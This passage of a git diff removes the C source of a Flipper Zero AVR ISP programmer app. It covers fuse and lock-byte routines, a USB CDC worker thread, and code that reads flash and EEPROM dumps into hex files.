AVR_ISP_READ_FUSE_HIGH) == data) { - break; - }; - data = 0x00; - } - return data; -} - -bool avr_isp_write_fuse_high(AvrIsp* instance, uint8_t hfuse) { - furi_assert(instance); - - bool ret = false; - if(avr_isp_read_fuse_high(instance) == hfuse) { - ret = true; - } else { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FUSE_HIGH(hfuse)); - /* polling fuse */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_HIGH) == hfuse) { - ret = true; - break; - }; - } - } - return ret; -} - -uint8_t avr_isp_read_fuse_extended(AvrIsp* instance) { - furi_assert(instance); - - uint8_t data = 0; - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 300) { - data = avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_EXTENDED); - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_EXTENDED) == data) { - break; - }; - data = 0x00; - } - return data; -} - -bool avr_isp_write_fuse_extended(AvrIsp* instance, uint8_t efuse) { - furi_assert(instance); - - bool ret = false; - if(avr_isp_read_fuse_extended(instance) == efuse) { - ret = true; - } else { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FUSE_EXTENDED(efuse)); - /* polling fuse */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_EXTENDED) == efuse) { - ret = true; - break; - }; - } - } - return ret; -} - -void avr_isp_write_extended_addr(AvrIsp* instance, uint8_t extended_addr) { - furi_assert(instance); - - avr_isp_spi_transaction(instance, AVR_ISP_EXTENDED_ADDR(extended_addr)); - furi_delay_ms(10); -} \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp.h b/applications/external/avr_isp_programmer/helpers/avr_isp.h deleted file mode 100644 index 476fc3d64..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp.h +++ /dev/null @@ -1,70 +0,0 @@ -#pragma once - -#include - -typedef struct AvrIsp AvrIsp; -typedef void (*AvrIspCallback)(void* context); - -struct AvrIspSignature { - uint8_t vendor; - uint8_t part_family; - uint8_t part_number; -}; - -typedef struct AvrIspSignature AvrIspSignature; - -AvrIsp* avr_isp_alloc(void); - -void avr_isp_free(AvrIsp* instance); - -void avr_isp_set_tx_callback(AvrIsp* instance, AvrIspCallback callback, void* context); - -bool avr_isp_auto_set_spi_speed_start_pmode(AvrIsp* instance); - -AvrIspSignature avr_isp_read_signature(AvrIsp* instance); - -void avr_isp_end_pmode(AvrIsp* instance); - -bool avr_isp_erase_chip(AvrIsp* instance); - -uint8_t avr_isp_spi_transaction( - AvrIsp* instance, - uint8_t cmd, - uint8_t addr_hi, - uint8_t addr_lo, - uint8_t data); - -bool avr_isp_read_page( - AvrIsp* instance, - uint32_t memtype, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size); - -bool avr_isp_write_page( - AvrIsp* instance, - uint32_t mem_type, - uint32_t mem_size, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size); - -uint8_t avr_isp_read_lock_byte(AvrIsp* instance); - -bool avr_isp_write_lock_byte(AvrIsp* instance, uint8_t lock); - -uint8_t avr_isp_read_fuse_low(AvrIsp* instance); - -bool avr_isp_write_fuse_low(AvrIsp* instance, uint8_t lfuse); - -uint8_t avr_isp_read_fuse_high(AvrIsp* instance); - -bool avr_isp_write_fuse_high(AvrIsp* instance, uint8_t hfuse); - -uint8_t avr_isp_read_fuse_extended(AvrIsp* instance); - -bool avr_isp_write_fuse_extended(AvrIsp* instance, uint8_t efuse); - -void avr_isp_write_extended_addr(AvrIsp* instance, uint8_t extended_addr); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_event.h b/applications/external/avr_isp_programmer/helpers/avr_isp_event.h deleted file mode 100644 index c704b5b35..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_event.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -typedef enum { - //SubmenuIndex - SubmenuIndexAvrIspProgrammer = 10, - SubmenuIndexAvrIspReader, - SubmenuIndexAvrIspWriter, - SubmenuIndexAvrIsWiring, - SubmenuIndexAvrIspAbout, - - //AvrIspCustomEvent - AvrIspCustomEventSceneChipDetectOk = 100, - AvrIspCustomEventSceneReadingOk, - AvrIspCustomEventSceneWritingOk, - AvrIspCustomEventSceneErrorVerification, - AvrIspCustomEventSceneErrorReading, - AvrIspCustomEventSceneErrorWriting, - AvrIspCustomEventSceneErrorWritingFuse, - AvrIspCustomEventSceneInputName, - AvrIspCustomEventSceneSuccess, - AvrIspCustomEventSceneExit, - AvrIspCustomEventSceneExitStartMenu, -} AvrIspCustomEvent; diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_types.h b/applications/external/avr_isp_programmer/helpers/avr_isp_types.h deleted file mode 100644 index 5e174ec3b..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_types.h +++ /dev/null @@ -1,32 +0,0 @@ -#pragma once - -#include -#include - -#define AVR_ISP_VERSION_APP "0.1" -#define AVR_ISP_DEVELOPED "SkorP" -#define AVR_ISP_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" - -#define AVR_ISP_APP_FILE_VERSION 1 -#define AVR_ISP_APP_FILE_TYPE "Flipper Dump AVR" -#define AVR_ISP_APP_EXTENSION ".avr" - -typedef enum { - //AvrIspViewVariableItemList, - AvrIspViewSubmenu, - AvrIspViewProgrammer, - AvrIspViewReader, - AvrIspViewWriter, - AvrIspViewWidget, - AvrIspViewPopup, - AvrIspViewTextInput, - AvrIspViewChipDetect, -} AvrIspView; - -typedef enum { - AvrIspErrorNoError, - AvrIspErrorReading, - AvrIspErrorWriting, - AvrIspErrorVerification, - AvrIspErrorWritingFuse, -} AvrIspError; \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_worker.c b/applications/external/avr_isp_programmer/helpers/avr_isp_worker.c deleted file mode 100644 index dfe1f43c2..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_worker.c +++ /dev/null @@ -1,266 +0,0 @@ -#include "avr_isp_worker.h" -#include -#include "../lib/driver/avr_isp_prog.h" -#include "../lib/driver/avr_isp_prog_cmd.h" -#include "../lib/driver/avr_isp_chip_arr.h" - -#include - -#define TAG "AvrIspWorker" - -typedef enum { - AvrIspWorkerEvtStop = (1 << 0), - - AvrIspWorkerEvtRx = (1 << 1), - AvrIspWorkerEvtTxCoplete = (1 << 2), - AvrIspWorkerEvtTx = (1 << 3), - AvrIspWorkerEvtState = (1 << 4), - - //AvrIspWorkerEvtCfg = (1 << 5), - -} AvrIspWorkerEvt; - -struct AvrIspWorker { - FuriThread* thread; - volatile bool worker_running; - uint8_t connect_usb; - AvrIspWorkerCallback callback; - void* context; -}; - -#define AVR_ISP_WORKER_PROG_ALL_EVENTS (AvrIspWorkerEvtStop) -#define AVR_ISP_WORKER_ALL_EVENTS \ - (AvrIspWorkerEvtTx | AvrIspWorkerEvtTxCoplete | AvrIspWorkerEvtRx | AvrIspWorkerEvtStop | \ - AvrIspWorkerEvtState) - -//########################/* VCP CDC */############################################# -#include "usb_cdc.h" -#include -#include -#include - -#define AVR_ISP_VCP_CDC_CH 1 -#define AVR_ISP_VCP_CDC_PKT_LEN CDC_DATA_SZ -#define AVR_ISP_VCP_UART_RX_BUF_SIZE (AVR_ISP_VCP_CDC_PKT_LEN * 5) - -static void vcp_on_cdc_tx_complete(void* context); -static void vcp_on_cdc_rx(void* context); -static void vcp_state_callback(void* context, uint8_t state); -static void vcp_on_cdc_control_line(void* context, uint8_t state); -static void vcp_on_line_config(void* context, struct usb_cdc_line_coding* config); - -static const CdcCallbacks cdc_cb = { - vcp_on_cdc_tx_complete, - vcp_on_cdc_rx, - vcp_state_callback, - vcp_on_cdc_control_line, - vcp_on_line_config, -}; - -/* VCP callbacks */ - -static void vcp_on_cdc_tx_complete(void* context) { - furi_assert(context); - AvrIspWorker* instance = context; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtTxCoplete); -} - -static void vcp_on_cdc_rx(void* context) { - furi_assert(context); - AvrIspWorker* instance = context; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtRx); -} - -static void vcp_state_callback(void* context, uint8_t state) { - UNUSED(context); - - AvrIspWorker* instance = context; - instance->connect_usb = state; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtState); -} - -static void vcp_on_cdc_control_line(void* context, uint8_t state) { - UNUSED(context); - UNUSED(state); -} - -static void vcp_on_line_config(void* context, struct usb_cdc_line_coding* config) { - UNUSED(context); - UNUSED(config); -} - -static void avr_isp_worker_vcp_cdc_init(void* context) { - furi_hal_usb_unlock(); - Cli* cli = furi_record_open(RECORD_CLI); - //close cli - cli_session_close(cli); - //disable callbacks VCP_CDC=0 - furi_hal_cdc_set_callbacks(0, NULL, NULL); - //set 2 cdc - furi_check(furi_hal_usb_set_config(&usb_cdc_dual, NULL) == true); - //open cli VCP_CDC=0 - cli_session_open(cli, &cli_vcp); - furi_record_close(RECORD_CLI); - - furi_hal_cdc_set_callbacks(AVR_ISP_VCP_CDC_CH, (CdcCallbacks*)&cdc_cb, context); -} - -static void avr_isp_worker_vcp_cdc_deinit(void) { - //disable callbacks AVR_ISP_VCP_CDC_CH - furi_hal_cdc_set_callbacks(AVR_ISP_VCP_CDC_CH, NULL, NULL); - - Cli* cli = furi_record_open(RECORD_CLI); - //close cli - cli_session_close(cli); - furi_hal_usb_unlock(); - //set 1 cdc - furi_check(furi_hal_usb_set_config(&usb_cdc_single, NULL) == true); - //open cli VCP_CDC=0 - cli_session_open(cli, &cli_vcp); - furi_record_close(RECORD_CLI); -} - -//################################################################################# - -static int32_t avr_isp_worker_prog_thread(void* context) { - AvrIspProg* prog = context; - FURI_LOG_D(TAG, "AvrIspProgWorker Start"); - while(1) { - if(furi_thread_flags_get() & AvrIspWorkerEvtStop) break; - avr_isp_prog_avrisp(prog); - } - FURI_LOG_D(TAG, "AvrIspProgWorker Stop"); - return 0; -} - -static void avr_isp_worker_prog_tx_data(void* context) { - furi_assert(context); - AvrIspWorker* instance = context; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtTx); -} - -/** Worker thread - * - * @param context - * @return exit code - */ -static int32_t avr_isp_worker_thread(void* context) { - AvrIspWorker* instance = context; - avr_isp_worker_vcp_cdc_init(instance); - - /* start PWM on &gpio_ext_pa4 */ - furi_hal_pwm_start(FuriHalPwmOutputIdLptim2PA4, 4000000, 50); - - AvrIspProg* prog = avr_isp_prog_init(); - avr_isp_prog_set_tx_callback(prog, avr_isp_worker_prog_tx_data, instance); - - uint8_t buf[AVR_ISP_VCP_UART_RX_BUF_SIZE]; - size_t len = 0; - - FuriThread* prog_thread = - furi_thread_alloc_ex("AvrIspProgWorker", 1024, avr_isp_worker_prog_thread, prog); - furi_thread_start(prog_thread); - - FURI_LOG_D(TAG, "Start"); - - while(instance->worker_running) { - uint32_t events = - furi_thread_flags_wait(AVR_ISP_WORKER_ALL_EVENTS, FuriFlagWaitAny, FuriWaitForever); - - if(events & AvrIspWorkerEvtRx) { - if(avr_isp_prog_spaces_rx(prog) >= AVR_ISP_VCP_CDC_PKT_LEN) { - len = furi_hal_cdc_receive(AVR_ISP_VCP_CDC_CH, buf, AVR_ISP_VCP_CDC_PKT_LEN); - // for(uint8_t i = 0; i < len; i++) { - // FURI_LOG_I(TAG, "--> %X", buf[i]); - // } - avr_isp_prog_rx(prog, buf, len); - } else { - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtRx); - } - } - - if((events & AvrIspWorkerEvtTxCoplete) || (events & AvrIspWorkerEvtTx)) { - len = avr_isp_prog_tx(prog, buf, AVR_ISP_VCP_CDC_PKT_LEN); - - // for(uint8_t i = 0; i < len; i++) { - // FURI_LOG_I(TAG, "<-- %X", buf[i]); - // } - - if(len > 0) furi_hal_cdc_send(AVR_ISP_VCP_CDC_CH, buf, len); - } - - if(events & AvrIspWorkerEvtStop) { - break; - } - - if(events & AvrIspWorkerEvtState) { - if(instance->callback) - instance->callback(instance->context, (bool)instance->connect_usb); - } - } - - FURI_LOG_D(TAG, "Stop"); - - furi_thread_flags_set(furi_thread_get_id(prog_thread), AvrIspWorkerEvtStop); - avr_isp_prog_exit(prog); - furi_delay_ms(10); - furi_thread_join(prog_thread); - furi_thread_free(prog_thread); - - avr_isp_prog_free(prog); - furi_hal_pwm_stop(FuriHalPwmOutputIdLptim2PA4); - avr_isp_worker_vcp_cdc_deinit(); - return 0; -} - -AvrIspWorker* avr_isp_worker_alloc(void* context) { - furi_assert(context); - UNUSED(context); - AvrIspWorker* instance = malloc(sizeof(AvrIspWorker)); - - instance->thread = furi_thread_alloc_ex("AvrIspWorker", 2048, avr_isp_worker_thread, instance); - return instance; -} - -void avr_isp_worker_free(AvrIspWorker* instance) { - furi_assert(instance); - - furi_check(!instance->worker_running); - furi_thread_free(instance->thread); - free(instance); -} - -void avr_isp_worker_set_callback( - AvrIspWorker* instance, - AvrIspWorkerCallback callback, - void* context) { - furi_assert(instance); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_worker_start(AvrIspWorker* instance) { - furi_assert(instance); - furi_assert(!instance->worker_running); - - instance->worker_running = true; - - furi_thread_start(instance->thread); -} - -void avr_isp_worker_stop(AvrIspWorker* instance) { - furi_assert(instance); - furi_assert(instance->worker_running); - - instance->worker_running = false; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtStop); - - furi_thread_join(instance->thread); -} - -bool avr_isp_worker_is_running(AvrIspWorker* instance) { - furi_assert(instance); - - return instance->worker_running; -} diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_worker.h b/applications/external/avr_isp_programmer/helpers/avr_isp_worker.h deleted file mode 100644 index cd9897dff..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_worker.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once - -#include - -typedef struct AvrIspWorker AvrIspWorker; - -typedef void (*AvrIspWorkerCallback)(void* context, bool connect_usb); - -/** Allocate AvrIspWorker - * - * @param context AvrIsp* context - * @return AvrIspWorker* - */ -AvrIspWorker* avr_isp_worker_alloc(void* context); - -/** Free AvrIspWorker - * - * @param instance AvrIspWorker instance - */ -void avr_isp_worker_free(AvrIspWorker* instance); - -/** Callback AvrIspWorker - * - * @param instance AvrIspWorker instance - * @param callback AvrIspWorkerOverrunCallback callback - * @param context - */ -void avr_isp_worker_set_callback( - AvrIspWorker* instance, - AvrIspWorkerCallback callback, - void* context); - -/** Start AvrIspWorker - * - * @param instance AvrIspWorker instance - */ -void avr_isp_worker_start(AvrIspWorker* instance); - -/** Stop AvrIspWorker - * - * @param instance AvrIspWorker instance - */ -void avr_isp_worker_stop(AvrIspWorker* instance); - -/** Check if worker is running - * @param instance AvrIspWorker instance - * @return bool - true if running - */ -bool avr_isp_worker_is_running(AvrIspWorker* instance); diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.c b/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.c deleted file mode 100644 index 121f08565..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.c +++ /dev/null @@ -1,1157 +0,0 @@ -#include "avr_isp_worker_rw.h" -#include -#include "avr_isp_types.h" -#include "avr_isp.h" -#include "../lib/driver/avr_isp_prog_cmd.h" -#include "../lib/driver/avr_isp_chip_arr.h" - -#include "flipper_i32hex_file.h" -#include - -#include - -#define TAG "AvrIspWorkerRW" - -#define NAME_PATERN_FLASH_FILE "flash.hex" -#define NAME_PATERN_EEPROM_FILE "eeprom.hex" - -struct AvrIspWorkerRW { - AvrIsp* avr_isp; - FuriThread* thread; - volatile bool worker_running; - - uint32_t chip_arr_ind; - bool chip_detect; - uint8_t lfuse; - uint8_t hfuse; - uint8_t efuse; - uint8_t lock; - float progress_flash; - float progress_eeprom; - const char* file_path; - const char* file_name; - AvrIspSignature signature; - AvrIspWorkerRWCallback callback; - void* context; - - AvrIspWorkerRWStatusCallback callback_status; - void* context_status; -}; - -typedef enum { - AvrIspWorkerRWEvtStop = (1 << 0), - - AvrIspWorkerRWEvtReading = (1 << 1), - AvrIspWorkerRWEvtVerification = (1 << 2), - AvrIspWorkerRWEvtWriting = (1 << 3), - AvrIspWorkerRWEvtWritingFuse = (1 << 4), - -} AvrIspWorkerRWEvt; -#define AVR_ISP_WORKER_ALL_EVENTS \ - (AvrIspWorkerRWEvtWritingFuse | AvrIspWorkerRWEvtWriting | AvrIspWorkerRWEvtVerification | \ - AvrIspWorkerRWEvtReading | AvrIspWorkerRWEvtStop) - -/** Worker thread - * - * @param context - * @return exit code - */ -static int32_t avr_isp_worker_rw_thread(void* context) { - AvrIspWorkerRW* instance = context; - - /* start PWM on &gpio_ext_pa4 */ - if(!furi_hal_pwm_is_running(FuriHalPwmOutputIdLptim2PA4)) { - furi_hal_pwm_start(FuriHalPwmOutputIdLptim2PA4, 4000000, 50); - } - - FURI_LOG_D(TAG, "Start"); - - while(1) { - uint32_t events = - furi_thread_flags_wait(AVR_ISP_WORKER_ALL_EVENTS, FuriFlagWaitAny, FuriWaitForever); - - if(events & AvrIspWorkerRWEvtStop) { - break; - } - - if(events & AvrIspWorkerRWEvtWritingFuse) { - if(avr_isp_worker_rw_write_fuse(instance, instance->file_path, instance->file_name)) { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusEndWritingFuse); - } else { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusErrorWritingFuse); - } - } - - if(events & AvrIspWorkerRWEvtWriting) { - if(avr_isp_worker_rw_write_dump(instance, instance->file_path, instance->file_name)) { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusEndWriting); - } else { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusErrorWriting); - } - } - - if(events & AvrIspWorkerRWEvtVerification) { - if(avr_isp_worker_rw_verification(instance, instance->file_path, instance->file_name)) { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusEndVerification); - } else { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusErrorVerification); - } - } - - if(events & AvrIspWorkerRWEvtReading) { - if(avr_isp_worker_rw_read_dump(instance, instance->file_path, instance->file_name)) { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusEndReading); - } else { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusErrorReading); - } - } - } - FURI_LOG_D(TAG, "Stop"); - - if(furi_hal_pwm_is_running(FuriHalPwmOutputIdLptim2PA4)) { - furi_hal_pwm_stop(FuriHalPwmOutputIdLptim2PA4); - } - - return 0; -} - -bool avr_isp_worker_rw_detect_chip(AvrIspWorkerRW* instance) { - furi_assert(instance); - - FURI_LOG_D(TAG, "Detecting AVR chip"); - - instance->chip_detect = false; - instance->chip_arr_ind = avr_isp_chip_arr_size + 1; - - /* start PWM on &gpio_ext_pa4 */ - bool was_pwm_enabled = false; - if(!furi_hal_pwm_is_running(FuriHalPwmOutputIdLptim2PA4)) { - furi_hal_pwm_start(FuriHalPwmOutputIdLptim2PA4, 4000000, 50); - } else { - was_pwm_enabled = true; - } - - do { - if(!avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - FURI_LOG_E(TAG, "Well, I managed to enter the mod program"); - break; - } - instance->signature = avr_isp_read_signature(instance->avr_isp); - - if(instance->signature.vendor != 0x1E) { - //No detect chip - } else { - for(uint32_t ind = 0; ind < avr_isp_chip_arr_size; ind++) { - if(avr_isp_chip_arr[ind].avrarch != F_AVR8) continue; - if(avr_isp_chip_arr[ind].sigs[1] == instance->signature.part_family) { - if(avr_isp_chip_arr[ind].sigs[2] == instance->signature.part_number) { - FURI_LOG_D(TAG, "Detect AVR chip = \"%s\"", avr_isp_chip_arr[ind].name); - FURI_LOG_D( - TAG, - "Signature = 0x%02X 0x%02X 0x%02X", - instance->signature.vendor, - instance->signature.part_family, - instance->signature.part_number); - - switch(avr_isp_chip_arr[ind].nfuses) { - case 1: - instance->lfuse = avr_isp_read_fuse_low(instance->avr_isp); - FURI_LOG_D(TAG, "Lfuse = %02X", instance->lfuse); - break; - case 2: - instance->lfuse = avr_isp_read_fuse_low(instance->avr_isp); - instance->hfuse = avr_isp_read_fuse_high(instance->avr_isp); - FURI_LOG_D( - TAG, "Lfuse = %02X Hfuse = %02X", instance->lfuse, instance->hfuse); - break; - case 3: - instance->lfuse = avr_isp_read_fuse_low(instance->avr_isp); - instance->hfuse = avr_isp_read_fuse_high(instance->avr_isp); - instance->efuse = avr_isp_read_fuse_extended(instance->avr_isp); - FURI_LOG_D( - TAG, - "Lfuse = %02X Hfuse = %02X Efuse = %02X", - instance->lfuse, - instance->hfuse, - instance->efuse); - break; - default: - break; - } - if(avr_isp_chip_arr[ind].nlocks == 1) { - instance->lock = avr_isp_read_lock_byte(instance->avr_isp); - FURI_LOG_D(TAG, "Lock = %02X", instance->lock); - } - instance->chip_detect = true; - instance->chip_arr_ind = ind; - break; - } - } - } - } - avr_isp_end_pmode(instance->avr_isp); - - } while(0); - - if(furi_hal_pwm_is_running(FuriHalPwmOutputIdLptim2PA4) && !was_pwm_enabled) { - furi_hal_pwm_stop(FuriHalPwmOutputIdLptim2PA4); - } - - if(instance->callback) { - if(instance->chip_arr_ind > avr_isp_chip_arr_size) { - instance->callback(instance->context, "No detect", instance->chip_detect, 0); - } else if(instance->chip_arr_ind < avr_isp_chip_arr_size) { - instance->callback( - instance->context, - avr_isp_chip_arr[instance->chip_arr_ind].name, - instance->chip_detect, - avr_isp_chip_arr[instance->chip_arr_ind].flashsize); - } else { - instance->callback(instance->context, "Unknown", instance->chip_detect, 0); - } - } - - return instance->chip_detect; -} - -AvrIspWorkerRW* avr_isp_worker_rw_alloc(void* context) { - furi_assert(context); - UNUSED(context); - - AvrIspWorkerRW* instance = malloc(sizeof(AvrIspWorkerRW)); - instance->avr_isp = avr_isp_alloc(); - - instance->thread = - furi_thread_alloc_ex("AvrIspWorkerRW", 4096, avr_isp_worker_rw_thread, instance); - - instance->chip_detect = false; - instance->lfuse = 0; - instance->hfuse = 0; - instance->efuse = 0; - instance->lock = 0; - instance->progress_flash = 0.0f; - instance->progress_eeprom = 0.0f; - - return instance; -} - -void avr_isp_worker_rw_free(AvrIspWorkerRW* instance) { - furi_assert(instance); - - avr_isp_free(instance->avr_isp); - - furi_check(!instance->worker_running); - furi_thread_free(instance->thread); - - free(instance); -} - -void avr_isp_worker_rw_start(AvrIspWorkerRW* instance) { - furi_assert(instance); - furi_assert(!instance->worker_running); - - instance->worker_running = true; - - furi_thread_start(instance->thread); -} - -void avr_isp_worker_rw_stop(AvrIspWorkerRW* instance) { - furi_assert(instance); - furi_assert(instance->worker_running); - - instance->worker_running = false; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtStop); - - furi_thread_join(instance->thread); -} - -bool avr_isp_worker_rw_is_running(AvrIspWorkerRW* instance) { - furi_assert(instance); - - return instance->worker_running; -} - -void avr_isp_worker_rw_set_callback( - AvrIspWorkerRW* instance, - AvrIspWorkerRWCallback callback, - void* context) { - furi_assert(instance); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_worker_rw_set_callback_status( - AvrIspWorkerRW* instance, - AvrIspWorkerRWStatusCallback callback_status, - void* context_status) { - furi_assert(instance); - - instance->callback_status = callback_status; - instance->context_status = context_status; -} - -float avr_isp_worker_rw_get_progress_flash(AvrIspWorkerRW* instance) { - furi_assert(instance); - - return instance->progress_flash; -} - -float avr_isp_worker_rw_get_progress_eeprom(AvrIspWorkerRW* instance) { - furi_assert(instance); - - return instance->progress_eeprom; -} - -static void avr_isp_worker_rw_get_dump_flash(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_check(instance->avr_isp); - - FURI_LOG_D(TAG, "Dump FLASH %s", file_path); - - FlipperI32HexFile* flipper_hex_flash = flipper_i32hex_file_open_write( - file_path, avr_isp_chip_arr[instance->chip_arr_ind].flashoffset); - - uint8_t data[272] = {0}; - bool send_extended_addr = ((avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2) > 0x10000); - uint8_t extended_addr = 0; - - for(int32_t i = avr_isp_chip_arr[instance->chip_arr_ind].flashoffset; - i < avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2; - i += avr_isp_chip_arr[instance->chip_arr_ind].pagesize / 2) { - if(send_extended_addr) { - if(extended_addr <= ((i >> 16) & 0xFF)) { - avr_isp_write_extended_addr(instance->avr_isp, extended_addr); - extended_addr = ((i >> 16) & 0xFF) + 1; - } - } - avr_isp_read_page( - instance->avr_isp, - STK_SET_FLASH_TYPE, - (uint16_t)i, - avr_isp_chip_arr[instance->chip_arr_ind].pagesize, - data, - sizeof(data)); - flipper_i32hex_file_bin_to_i32hex_set_data( - flipper_hex_flash, data, avr_isp_chip_arr[instance->chip_arr_ind].pagesize); - //FURI_LOG_D(TAG, "%s", flipper_i32hex_file_get_string(flipper_hex_flash)); - instance->progress_flash = - (float)(i) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2.0f); - } - flipper_i32hex_file_bin_to_i32hex_set_end_line(flipper_hex_flash); - //FURI_LOG_D(TAG, "%s", flipper_i32hex_file_get_string(flipper_hex_flash)); - flipper_i32hex_file_close(flipper_hex_flash); - instance->progress_flash = 1.0f; -} - -static void avr_isp_worker_rw_get_dump_eeprom(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_check(instance->avr_isp); - - FURI_LOG_D(TAG, "Dump EEPROM %s", file_path); - - FlipperI32HexFile* flipper_hex_eeprom = flipper_i32hex_file_open_write( - file_path, avr_isp_chip_arr[instance->chip_arr_ind].eepromoffset); - - int32_t size_data = 32; - uint8_t data[256] = {0}; - - if(size_data > avr_isp_chip_arr[instance->chip_arr_ind].eepromsize) - size_data = avr_isp_chip_arr[instance->chip_arr_ind].eepromsize; - - for(int32_t i = avr_isp_chip_arr[instance->chip_arr_ind].eepromoffset; - i < avr_isp_chip_arr[instance->chip_arr_ind].eepromsize; - i += size_data) { - avr_isp_read_page( - instance->avr_isp, STK_SET_EEPROM_TYPE, (uint16_t)i, size_data, data, sizeof(data)); - flipper_i32hex_file_bin_to_i32hex_set_data(flipper_hex_eeprom, data, size_data); - FURI_LOG_D(TAG, "%s", flipper_i32hex_file_get_string(flipper_hex_eeprom)); - instance->progress_eeprom = - (float)(i) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].eepromsize); - } - flipper_i32hex_file_bin_to_i32hex_set_end_line(flipper_hex_eeprom); - FURI_LOG_D(TAG, "%s", flipper_i32hex_file_get_string(flipper_hex_eeprom)); - flipper_i32hex_file_close(flipper_hex_eeprom); - instance->progress_eeprom = 1.0f; -} - -bool avr_isp_worker_rw_read_dump( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - furi_assert(file_path); - furi_assert(file_name); - - FURI_LOG_D(TAG, "Read dump chip"); - - instance->progress_flash = 0.0f; - instance->progress_eeprom = 0.0f; - bool ret = false; - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* flipper_format = flipper_format_file_alloc(storage); - FuriString* file_path_name = furi_string_alloc(); - - if(!avr_isp_worker_rw_detect_chip(instance)) { - FURI_LOG_E(TAG, "No detect AVR chip"); - } else { - do { - furi_string_printf( - file_path_name, "%s/%s%s", file_path, file_name, AVR_ISP_APP_EXTENSION); - if(!flipper_format_file_open_always( - flipper_format, furi_string_get_cstr(file_path_name))) { - FURI_LOG_E(TAG, "flipper_format_file_open_always"); - break; - } - if(!flipper_format_write_header_cstr( - flipper_format, AVR_ISP_APP_FILE_TYPE, AVR_ISP_APP_FILE_VERSION)) { - FURI_LOG_E(TAG, "flipper_format_write_header_cstr"); - break; - } - if(!flipper_format_write_string_cstr( - flipper_format, "Chip name", avr_isp_chip_arr[instance->chip_arr_ind].name)) { - FURI_LOG_E(TAG, "Chip name"); - break; - } - if(!flipper_format_write_hex( - flipper_format, - "Signature", - (uint8_t*)&instance->signature, - sizeof(AvrIspSignature))) { - FURI_LOG_E(TAG, "Unable to add Signature"); - break; - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 0) { - if(!flipper_format_write_hex(flipper_format, "Lfuse", &instance->lfuse, 1)) { - FURI_LOG_E(TAG, "Unable to add Lfuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 1) { - if(!flipper_format_write_hex(flipper_format, "Hfuse", &instance->hfuse, 1)) { - FURI_LOG_E(TAG, "Unable to add Hfuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 2) { - if(!flipper_format_write_hex(flipper_format, "Efuse", &instance->efuse, 1)) { - FURI_LOG_E(TAG, "Unable to add Efuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nlocks == 1) { - if(!flipper_format_write_hex(flipper_format, "Lock", &instance->lock, 1)) { - FURI_LOG_E(TAG, "Unable to add Lock"); - break; - } - } - furi_string_printf(file_path_name, "%s_%s", file_name, NAME_PATERN_FLASH_FILE); - if(!flipper_format_write_string_cstr( - flipper_format, "Dump_flash", furi_string_get_cstr(file_path_name))) { - FURI_LOG_E(TAG, "Unable to add Dump_flash"); - break; - } - - if(avr_isp_chip_arr[instance->chip_arr_ind].eepromsize > 0) { - furi_string_printf(file_path_name, "%s_%s", 